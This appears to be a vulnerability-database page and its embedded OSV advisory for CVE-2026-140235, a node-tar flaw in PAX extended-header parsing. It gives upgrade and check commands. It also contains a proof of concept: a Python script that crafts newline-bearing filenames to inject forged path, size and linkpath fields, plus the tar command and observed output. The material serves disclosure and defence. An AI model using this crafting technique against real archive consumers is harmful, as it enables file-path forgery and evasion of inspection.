CVE-2026-140235: Tar Node-tar Parses PAX Extended Headers Vulnerability
HIGHCVE-2026-140235 is a HIGH node-tar parses pax extended headers vulnerability (CWE-436: Interpretation Conflict) affecting Tar libraries in the npm ecosystem. The issue involves node-tar parses pax extended headers by newline-splitting instead of length-delimiting, causing record dropping and forged-field injection. Remediation is available by upgrading affected packages to version 8.0.0.
CVE-2026-140235 at a Glance
How to Fix CVE-2026-140235
To remediate this vulnerability, upgrade all affected Tar dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install tar@8.0.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls tar
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-140235, inspect your project dependencies using npm:
npm ls tar
Analyze the terminal output to locate any version of Tar in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.0.0), your application is affected.
Note: The npm ls tar command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-436: Interpretation Conflict, where product a handles inputs or steps differently than product b, which causes a to perform incorrect actions based on its perception of b's state. In Tar, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-140235 Affected Tar Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
tar
|
npm |
≥ 7.5.0
< 8.0.0
|
8.0.0
|
References
Frequently Asked Questions
What is CVE-2026-140235?
Which Tar versions are affected?
What version fixes CVE-2026-140235?
Is tar affected?
What CWE is associated with CVE-2026-140235?
How can I check npm dependencies for CVE-2026-140235?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-rgjp-p5j7-w36x",
"modified" : "2026-12-02T01:38:49Z",
"published" : "2026-12-02T01:38:49Z",
"aliases" : [ "CVE-2026-140235" ],
"summary" : "node-tar parses PAX extended headers by newline-splitting instead of length-delimiting, causing record dropping and forged-field injection",
"details" : "### Summary\nnode-tar parses POSIX pax extended headers by splitting the header body on every newline and validating each resulting line's length prefix, instead of consuming length-delimited records as the format specifies. A record whose value contains a newline (which occurs legitimately whenever an archived filename contains a newline) is mishandled two ways: the true record is dropped (the entry falls back to its truncated 100-byte header name), and any post-newline fragment that itself forms a self-valid `<length> key=value` line is applied as a real extended-header field. This is a cross-implementation divergence and an arbitrary PAX-field injection primitive (`path`, `size`, `linkpath`, `mode`, `uid`, `gid`, `mtime`) driven by a single attacker-controlled filename or crafted archive.\n\n### Details\n```ts\n// src/pax.ts:151-167\nconst parseKV = (str) =>\n str.replace(/\\n$/, '').split('\\n') // <- splits INSIDE length-valid record values\n .reduce(parseKVLine, Object.create(null))\nconst parseKVLine = (set, line) => {\n const n = parseInt(line, 10)\n // XXX Values with \\n in them will fail this.\n // Refactor to not be a naive line-by-line parse.\n if (n !== Buffer.byteLength(line) + 1) return set // record dropped when its value contained '\\n'\n line = line.slice((n + ' ').length)\n // ... a forged '<len> key=value' fragment is then ACCEPTED as a real record\n}\n```\n\nPOSIX pax records are `<len> key=value\\n`, where `<len>` counts the entire record including any newline inside the value. Splitting on `\\n` breaks a record whose value contains a newline into fragments: the leading fragment fails the `n === byteLength+1` check and is discarded, and a trailing fragment such as `24 path=forged-name.txt` passes the check and is applied. The maintainer's own in-code `XXX` comment documents the limitation. A related facet in the same parser: numeric fields are coerced with JavaScript `+v` (src/pax.ts:196, 205), so `size=0x10`, `size=1e3`, `size=1.5`, and `size=Infinity` parse only in node-tar while GNU tar and Python tarfile reject or fall back, a separate three-way numeric divergence.\n\n### PoC\nValidated on source main @ 2a22bfc and against the published npm package `tar@7.5.22`, Node v24.19.0, compared with GNU tar 1.35 and Python 3.13.\n\n```bash\n# create files whose names embed a newline + a forged record tail, pack with a compliant packer\npython3 - <<'EOF'\nimport os; d='/tmp/paxnl/src'; os.makedirs(d, exist_ok=True)\nopen(os.path.join(d,'A'*95+'\\nTAIL1.txt'),'w').write('PAX-DEPENDENT\\n') # legit newline name\nopen(os.path.join(d,'B'*95+'\\n'+'24 path=forged-name.txt'),'w').write('INJECTED\\n') # forged path\nopen(os.path.join(d,'C'*95+'\\n'+'10 size=0'),'w').write('EIGHTBYTS') # forged size (true 9)\nopen(os.path.join(d,'D'*95+'\\n'+'14 linkpath=a'),'w').write('X') # forged linkpath on a File\nEOF\ntar --format=posix -cf /tmp/paxnl/gnu.tar -C /tmp/paxnl/src .\n```\n\nObserved reading `/tmp/paxnl/gnu.tar`:\n```\nGNU tar / Python : true names, len 107-121, correct sizes, linkpath ''\nnode-tar t() : pathlen=100 size=14 (A: newline record dropped -> truncated)\n pathlen=100 size=0 (C: forged size=0, true size 9)\n pathlen=100 linkpath=\"a\" (D: forged linkpath on a plain File)\n pathlen=15 \"forged-name.txt\" size=9 (B: forged path applied)\nnode-tar x() : materializes 'forged-name.txt' on disk; A/C/D under truncated names\n```\nGNU tar and Python read every file under its true (long) name with correct attributes; node-tar drops the real records and applies the forged ones. The forged `linkpath` on a plain File is itself the injection route into the path-reservation deadlock (advisory 01), and the forged `size` feeds the meta-entry desync (advisory 02).\n\n### Impact\nIntegrity via cross-implementation divergence. A single attacker-controlled filename in a directory that a victim archives with any length-compliant packer (GNU tar, bsdtar, Python tarfile), later extracted or listed by a node-tar consumer, or simply a hand-crafted archive, makes node-tar assign an arbitrary `path`, `size`, `linkpath`, `mode`, `uid`/`gid`, or `mtime` to an entry that every compliant reader sees differently. This defeats name-based and attribute-based inspection and provides an injection route into the two issues above. In default extraction mode the effect is confined to the extraction root (path sanitisation still applies); with `preservePaths` the forged path may be absolute or contain `..`. node-tar also cannot round-trip archives it writes itself when filenames contain newlines.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "tar"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "7.5.0"
}, {
"fixed" : "8.0.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/isaacs/node-tar/security/advisories/GHSA-rgjp-p5j7-w36x"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-140235"
}, {
"type" : "WEB",
"url" : "https://github.com/isaacs/node-tar/commit/f351e5b4a8916bc8c8f821d0ad926a17d26ea237"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/isaacs/node-tar"
}, {
"type" : "WEB",
"url" : "https://github.com/isaacs/node-tar/releases/tag/v8.0.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-20", "CWE-436" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-12-02T01:38:49Z",
"nvd_published_at" : "2026-12-01T18:17:27Z"
}
}